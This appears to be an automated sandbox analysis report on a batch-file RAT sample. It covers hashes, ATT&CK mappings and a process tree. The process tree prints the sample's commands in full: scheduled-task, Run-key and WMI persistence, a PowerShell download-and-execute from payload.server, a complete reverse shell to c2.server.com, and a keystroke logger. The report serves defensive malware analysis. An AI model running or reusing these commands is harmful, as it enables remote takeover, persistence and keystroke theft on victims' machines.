f72de0b6c07506c4a75b420c53acfdbedf439abaef09c9d33b766f46dee2079c

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_261891_014705.bat
Size 4KB
Sample260529-bxec7af19t
SHA256 f72de0b6c07506c4a75b420c53acfdbedf439abaef09c9d33b766f46dee2079c
MD5 086504ab974bb60bb24ecbe255bd3f38
SHA1 412ddb22cec2b16f6541dd2c908c41b1a0977ca9
SHA512 9804d14d8ac9cc99ba430f2c30c0342e2f8747a6526d62d5d8773c6c9d8b4c5fb6851bca093223a601f2e26ca937ca4974118e3ebaaeedd216e961d432a614f2
SSDEEP 96:aIWoWSF7y6AWQ08V7cUJrw5gjtPwBhgFXFiFgZk8mvlo16dxg:aBSF7yTV7QghchKiFgkHl9d6
TLSH
T104A1082357D7B23096B04A28D9373858539CE6F72345CACEAF4C89C50E4DF47A42A5E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_261891.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
396	powershell.exe
4788	powershell.exe
2800	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_261891 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_261891.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4832	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4964	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4436	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2244	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
396	powershell.exe
396	powershell.exe
4788	powershell.exe
4788	powershell.exe
2800	powershell.exe
2800	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3060	WMIC.exe
Token: SeSecurityPrivilege	3060	WMIC.exe
Token: SeTakeOwnershipPrivilege	3060	WMIC.exe
Token: SeLoadDriverPrivilege	3060	WMIC.exe
Token: SeSystemProfilePrivilege	3060	WMIC.exe
Token: SeSystemtimePrivilege	3060	WMIC.exe
Token: SeProfSingleProcessPrivilege	3060	WMIC.exe
Token: SeIncBasePriorityPrivilege	3060	WMIC.exe
Token: SeCreatePagefilePrivilege	3060	WMIC.exe
Token: SeBackupPrivilege	3060	WMIC.exe
Token: SeRestorePrivilege	3060	WMIC.exe
Token: SeShutdownPrivilege	3060	WMIC.exe
Token: SeDebugPrivilege	3060	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3060	WMIC.exe
Token: SeRemoteShutdownPrivilege	3060	WMIC.exe
Token: SeUndockPrivilege	3060	WMIC.exe
Token: SeManageVolumePrivilege	3060	WMIC.exe
Token: 33	3060	WMIC.exe
Token: 34	3060	WMIC.exe
Token: 35	3060	WMIC.exe
Token: 36	3060	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3060	WMIC.exe
Token: SeSecurityPrivilege	3060	WMIC.exe
Token: SeTakeOwnershipPrivilege	3060	WMIC.exe
Token: SeLoadDriverPrivilege	3060	WMIC.exe
Token: SeSystemProfilePrivilege	3060	WMIC.exe
Token: SeSystemtimePrivilege	3060	WMIC.exe
Token: SeProfSingleProcessPrivilege	3060	WMIC.exe
Token: SeIncBasePriorityPrivilege	3060	WMIC.exe
Token: SeCreatePagefilePrivilege	3060	WMIC.exe
Token: SeBackupPrivilege	3060	WMIC.exe
Token: SeRestorePrivilege	3060	WMIC.exe
Token: SeShutdownPrivilege	3060	WMIC.exe
Token: SeDebugPrivilege	3060	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3060	WMIC.exe
Token: SeRemoteShutdownPrivilege	3060	WMIC.exe
Token: SeUndockPrivilege	3060	WMIC.exe
Token: SeManageVolumePrivilege	3060	WMIC.exe
Token: 33	3060	WMIC.exe
Token: 34	3060	WMIC.exe
Token: 35	3060	WMIC.exe
Token: 36	3060	WMIC.exe
Token: SeIncreaseQuotaPrivilege	824	WMIC.exe
Token: SeSecurityPrivilege	824	WMIC.exe
Token: SeTakeOwnershipPrivilege	824	WMIC.exe
Token: SeLoadDriverPrivilege	824	WMIC.exe
Token: SeSystemProfilePrivilege	824	WMIC.exe
Token: SeSystemtimePrivilege	824	WMIC.exe
Token: SeProfSingleProcessPrivilege	824	WMIC.exe
Token: SeIncBasePriorityPrivilege	824	WMIC.exe
Token: SeCreatePagefilePrivilege	824	WMIC.exe
Token: SeBackupPrivilege	824	WMIC.exe
Token: SeRestorePrivilege	824	WMIC.exe
Token: SeShutdownPrivilege	824	WMIC.exe
Token: SeDebugPrivilege	824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	824	WMIC.exe
Token: SeRemoteShutdownPrivilege	824	WMIC.exe
Token: SeUndockPrivilege	824	WMIC.exe
Token: SeManageVolumePrivilege	824	WMIC.exe
Token: 33	824	WMIC.exe
Token: 34	824	WMIC.exe
Token: 35	824	WMIC.exe
Token: 36	824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	824	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 2244	4812	cmd.exe	89
PID 4812 wrote to memory of 4436	4812	cmd.exe	90
PID 4812 wrote to memory of 3060	4812	cmd.exe	91
PID 4812 wrote to memory of 824	4812	cmd.exe	92
PID 4812 wrote to memory of 820	4812	cmd.exe	93
PID 4812 wrote to memory of 4964	4812	cmd.exe	94
PID 4812 wrote to memory of 4832	4812	cmd.exe	100
PID 4812 wrote to memory of 396	4812	cmd.exe	101
PID 4812 wrote to memory of 4788	4812	cmd.exe	102
PID 4812 wrote to memory of 2800	4812	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_261891_014705.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_261891" /tr "C:\Users\Admin\AppData\Local\Temp\_261891.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2244
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_261891" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_261891.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4436
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_261891", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_261891", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_261891.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:824
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_261891.txt
  2⤵
  PID:820
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4964
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_261891.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 37adcf91d8fc53e1a0acdac23f1e3e740762cae2c266dab9158aae061de75ad2
MD5 0e739633dd0d12d863c797c71a03ca79
SHA1 e7bb8175142655bc756b471a6dacd49ed8ad2243
SHA512 43f3797d221f7e7982fce5afd1d02474a415a85d6e6f9e573eceb3e6696315c3c8cefaf6cafe512e1a0f62eb5beea15aae4324715110590198a72887b0b36288
TLSH
T1DD115327B39C8921CC96153A409DAC1172B683DB81AEDE9F6FC4D215A1BF984CB612A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a5189a36c37dbe347805ef6def6e3694fe2d6f363944482592ea5d71b0ec837
MD5 6ef8c3604e3e583f35df2398190c1364
SHA1 5be71423c9ead8cfbbfdb07a5f27588deeb3d1a0
SHA512 1e3a00972951258f3cad39a9111b07bac9265c0c17faa27d3c5f5334a33a815bdb90403c78f8359955bb04b993e77fbeda4e93edb009b21d5df78220a714e615
TLSH
T191115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_az1fjym3.mxn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_az1fjym3.mxn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/396-9-0x000001F0E3D90000-0x000001F0E3DB2000-memory.dmp

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